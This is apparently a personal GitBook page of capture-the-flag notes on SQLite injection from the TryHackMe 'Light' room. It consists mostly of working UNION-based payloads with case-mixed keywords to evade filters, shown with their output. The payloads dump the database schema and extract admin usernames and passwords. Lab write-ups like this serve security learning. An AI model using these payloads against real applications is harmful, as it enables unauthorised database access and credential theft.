> For the complete documentation index, see [llms.txt](https://jays-organization-22.gitbook.io/splitunknown/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jays-organization-22.gitbook.io/splitunknown/sql_injection/sql-light-injection.md).

# SQL Light Injection

Ref:-

1. <https://tryhackme.com/r/room/lightroom>
2. <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md>

#### Union operation

```sql
Please enter your username: admin
Username not found.
Please enter your username: admin' UnIoN SeLeCt 1'
Password: 1
Please enter your username: admin' UnIoN SeLeCt 1,2'
Error: SELECTs to the left and right of UNION do not have the same number of result columns
```

#### Extract Database Structure

```sql
 a' UnIoN SeLeCt group_concat(sql) from sqlite_master'
```

or

```sql
 a' UnIoN SeLeCt group_concat(sql) from sqlite_schema'
```

output :-

```
		Password:  CREATE TABLE usertable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER
                   ),
                   CREATE TABLE admintable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER
                   )
```

#### Extract DB info

```sql
a' UnIoN SeLeCt GROUP_CONCAT('|' || username || ':' || password || '|') FROM admintable'
```

![SQL\_LIGHT\_SELECT.png](https://2065144520-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH922YB87ml6GXRHdTl5e%2Fuploads%2Fgit-blob-43ef5bf230ce338de5933cc6a5c15f174c00a6fe%2FSQL_LIGHT_SELECT.png?alt=media)